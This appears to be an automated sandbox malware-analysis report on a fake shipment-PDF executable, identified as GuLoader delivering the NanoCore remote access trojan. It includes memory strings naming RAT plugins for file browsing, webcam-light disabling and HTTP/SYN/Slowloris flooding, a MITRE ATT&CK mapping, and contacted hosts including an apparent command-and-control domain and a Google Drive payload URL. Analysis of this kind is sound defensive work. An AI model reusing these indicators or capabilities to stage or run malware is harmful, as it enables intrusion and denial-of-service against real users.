Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v2.0.50727\CasPol.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct

Remote Access Functionality

Detected Nanocore Rat

Source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: NanoCore.ClientPluginHost
Source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCoreBase.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoCoreBaseClientPluginCommandHandlerResourcesNanoCoreBase.My.ResourcesMySettingsMySettingsPropertyCommandsMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostSendCommandparamsInitializePluginNanoCore.ClientPluginIClientNetwork_networkhost_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketHandleCommandHandleCommandOpenWebsiteHandleCommandMessageBoxSwapMouseButtonfSwapuser32.dllHandleCommandMouseSwapHandleCommandMouseUnswapmciSendStringlpszCommandlpszReturnStringcchReturnLengthhwndCallbackwinmm.dllmciSendStringAHandleCommandCDTrayHandleCommandCDTrayCloseSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CultureValueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsEnumvalue__OpenWebsiteMessageBoxCDTrayCDTrayCloseMouseSwapMouseUnswapSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeSendToServerParamArrayAttributeStringProcessStartSystem.Windows.FormsDialogResultShowConversionsReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedNanoCoreBase.Resources.resourcesDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeNanoCoreBase.dll+set CDAudio door open/set CDAudio door closed-NanoCoreBase.Resources3
Source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationMyClientPlugin.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainMyClientPluginClientPluginMiscCommandHandlerCommandTypeMiscCommandMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsHandleMiscCommandHandleMiscCommandMessageInterpretRecievedcommandtodoloopkeysEnumvalue__MessageStringExceptionMicrosoft.VisualBasic.CompilerServicesOperatorsCompareStringServerComputerMicrosoft.VisualBasic.MyServicesRegistryProxyget_RegistryMicrosoft.Win32RegistryKeyget_LocalMachineConcatInt32SetValueProjectDataSetProjectErrorClearProjectErrorget_LengthStandardModuleAttributeSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeDebuggableAttributeDebuggingModesCompilationRelaxationsAttributeRuntimeCompatibilityAttributeSystem.ReflectionAssemblyFileVersionAttributeGuidAttributeAssemblyTrademarkAttributeAssemblyCopyrightAttributeAssemblyProductAttributeAssemblyCompanyAttributeAssemblyDescriptionAttributeAssemblyTitleAttributeMyClientPlugin.dll'DisableWebcamLights
Source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationFileBrowserClient.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainFileBrowserClientClientPluginCommandHandlersResourcesFileBrowserClient.My.ResourcesMySettingsMySettingsPropertyFunctionsCommandTypesMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostCurrentDirectoryInitializePluginNanoCore.ClientPluginIClientNetwork_loggingHost_networkHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketparamsHandleCreateDirectoryremoteDirHandleDeleteFileremoteFileisDirectoryHandleOpenFileHandleReceiveFilelocalFileHandleRenameFilenewFileNameHandleSetCurrentDirectorypathHandleDeleteHandleDownloadHandleDrivesHandleFilesHandleGetCurrentDirectoryHandleMachineNameHandleOpenHandleSetCurrentDirectoryPacketHandleUploadHandleRenameHandleCreateSendCurrentDirectorySendDrivesSendFileSendFilesSendMachineNameSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CulturevalueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsSystem.Collections.GenericList`1RemoteFilesRemoteFoldersRemoteDrivesEnumerateRemoteFilesEnumerateRemoteDrivesLogMessagemessageEnumvalue__MachineNameDrivesFilesGetCurrentDirectorySetCurrentDirectoryDownloadUploadOpenDeleteCreateDirectoryRenameSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeEnvironmentSpecialFolderGetFolderPathStringFormatSystem.IODirectoryDirectoryInfoProjectDataExceptionSetProjectErrorClearProjectErrorFileLogClientExceptionProcessStartConvertFromBase64StringWriteAllBytesMoveSendToServerConversionsToBooleanInt32NewLateBindingLateIndexGetEnumeratorEmptyGetEnumeratorget_CurrentTrimConcatMoveNextIDisposableDisposeReadAllBytesToBase64StringIsNullOrEmptyget_MachineNameToUpperget_UserNameReferenceEqualsSystem.ReflectionAssemblyget_AssemblyCompilerGeneratedAttributeSettingsBaseSynchronizedFileInfoFileSystemInfoget_FullNameContainsGetDirectoriesget_NameAddGetF
Source: CasPol.exe, 00000088.00000003.185986328993.000000001ED13000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCoreStressTester.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoCoreStressTesterClientPluginHTTPFloodSlowLorisSYNFloodTCPNanoCoreStressTester.FloodUDPSendSynCommandHandlerResourcesNanoCoreStressTester.My.ResourcesMySettingsMySettingsPropertyCommandsMethodsMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostIClientDataHostDataHostClientGUIDSendCommandparamsInitializePluginNanoCore.ClientPluginIClientNetwork_networkhost_loggingHost_DataHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketStartHostToAttackArrayUploadDataSiteUserAgentRefererValuesGeneratecodelengthSystem.ThreadingThreadThreadsPortToAttackTimeToAttackThreadstoUseThreadsEndedattacksAttackRunningFloodnewHostnewPortnewTimenewThreadslolStopSlowlorisStressThreadStart_floodingJob_floodingThreadSystem.NetIPEndPoint_ipEo_synClassHostIsEnabledPortSuperSynSocketsStartSuperSynStopSuperSynSystem.Net.SocketsSocketClientIPPacketsPacketSizeMaxPacketsStopFloodmPacketspSize_sockipEosuperSynSockets__1IAsyncResultOnConnectarSendFloodingstopHTTPBytesSentSYNConnectionsHTTPDataSentMethodTargetAddressTargetStatusupdateBytesnewSYNFloodHandleDDOSCommandHandleStopCommandSystem.TimersElapsedEventArgsbytesTimerElapsedsourceeHandleHTTPCommandHandleSlowlorisCommandHandleTCPCommandHandleUDPCommandHandleSYNCommandSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CultureValueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsEnumvalue__sendStressCommandupdateStatusColumnstopStressCommandHTTPSlowlorisSYNSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerServicesRuntimeHelpersGetObjectValueRuntimeTypeHandleGetTypeFromHandleActivatorCreateInstanceMyGroupCollectionAttributeget_Valueset_ValueSystem.Runtime.InteropServicesComVisibleAttributeExceptionSendToServerProjectDataSetProjectErrorClearProjectErrorTimerNanoCoreIClientNameObjectCollectionget_VariablesGetValueset_Intervalset_EnabledElapsedEventHandleradd_ElapsedParamArrayAttributeRandomGuidStringIsNullOrEmptyArgumentNullExceptionArgumentOutOfRangeExce

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	3 File and Directory Discovery	Remote Services	1 Archive Collected Data	Exfiltration Over Other Network Medium	1 Ingress Tool Transfer	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	1 System Shutdown/Reboot
Default Accounts	1 Native API	1 Scheduled Task/Job	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	LSASS Memory	5 System Information Discovery	Remote Desktop Protocol	1 Clipboard Data	Exfiltration Over Bluetooth	11 Encrypted Channel	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	1 Command and Scripting Interpreter	1 Registry Run Keys / Startup Folder	112 Process Injection	11 Obfuscated Files or Information	Security Account Manager	231 Security Software Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	1 Non-Standard Port	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	1 Scheduled Task/Job	Logon Script (Mac)	1 Scheduled Task/Job	1 DLL Side-Loading	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	Scheduled Transfer	1 Remote Access Software	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	1 Registry Run Keys / Startup Folder	11 Masquerading	LSA Secrets	131 Virtualization/Sandbox Evasion	SSH	Keylogging	Data Transfer Size Limits	2 Non-Application Layer Protocol	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	131 Virtualization/Sandbox Evasion	Cached Domain Credentials	1 Application Window Discovery	VNC	GUI Input Capture	Exfiltration Over C2 Channel	113 Application Layer Protocol	Jamming or Denial of Service		Abuse Accessibility Features
External Remote Services	Scheduled Task	Startup Items	Startup Items	1 Access Token Manipulation	DCSync	1 Time Based Evasion	Windows Remote Management	Web Portal Capture	Exfiltration Over Alternative Protocol	Commonly Used Port	Rogue Wi-Fi Access Points		Data Encrypted for Impact
Drive-by Compromise	Command and Scripting Interpreter	Scheduled Task/Job	Scheduled Task/Job	112 Process Injection	Proc Filesystem	Network Service Scanning	Shared Webroot	Credential API Hooking	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Application Layer Protocol	Downgrade to Insecure Protocols		Generate Fraudulent Advertising Revenue
Exploit Public-Facing Application	PowerShell	At (Linux)	At (Linux)	1 Time Based Evasion	/etc/passwd and /etc/shadow	System Network Connections Discovery	Software Deployment Tools	Data Staged	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	Web Protocols	Rogue Cellular Base Station		Data Destruction
Supply Chain Compromise	AppleScript	At (Windows)	At (Windows)	1 Hidden Files and Directories	Network Sniffing	Process Discovery	Taint Shared Content	Local Data Staging	Exfiltration Over Unencrypted/Obfuscated Non-C2 Protocol	File Transfer Protocols			Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
Original Shipment_Document.PDF.exe	32%	Virustotal		Browse
Original Shipment_Document.PDF.exe	22%	ReversingLabs	Win32.Trojan.Guloader

Dropped Files

Source	Detection	Scanner	Link
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll	1%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll	3%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\System.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\nsExec.dll	0%	Virustotal	Browse
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\nsExec.dll	4%	Metadefender	Browse
C:\Users\user\AppData\Local\Temp\nsaB9E2.tmp\nsExec.dll	0%	ReversingLabs

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

Source	Detection	Scanner	Label	Link
https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external	0%	Virustotal		Browse
https://csp.withgoogle.com/csp/report-to/DriveUntrustedContentHttp/external	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
drive.google.com	142.250.179.174	true	false	high
tuk.linkpc.net	188.127.230.176	true	false	high
googlehosted.l.googleusercontent.com	142.250.181.225	true	false	high
doc-14-70-docs.googleusercontent.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://doc-14-70-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bcmtj5ie1disn24fvm7mb2d8jibr4j1v/1659691950000/06422039211485589527/*/1RTjXzM3oLxMQRuQuQg9TR4kX_hPJtp2r?e=download&uuid=fa4270ed-3082-4e6e-8e77-e38f9ee0c1fd	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://doc-14-70-docs.googleusercontent.com/	CasPol.exe, 00000088.00000003.186565322060.0000000001202000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186517811821.0000000001201000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186208501547.00000000011FD000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.185951314480.0000000001252000.00000004.00000020.00020000.00000000.sdmp	false		high
https://doc-14-70-docs.googleusercontent.com/docs/securesc/ha0ro937gcuc7l7deffksulhg5h7mbp1/bcmtj5ie	CasPol.exe, 00000088.00000003.185946644468.000000000122A000.00000004.00000020.00020000.00000000.sdmp, CasPol.exe, 00000088.00000003.186208501547.00000000011FD000.00000004.00000020.00020000.00000000.sdmp	false		high
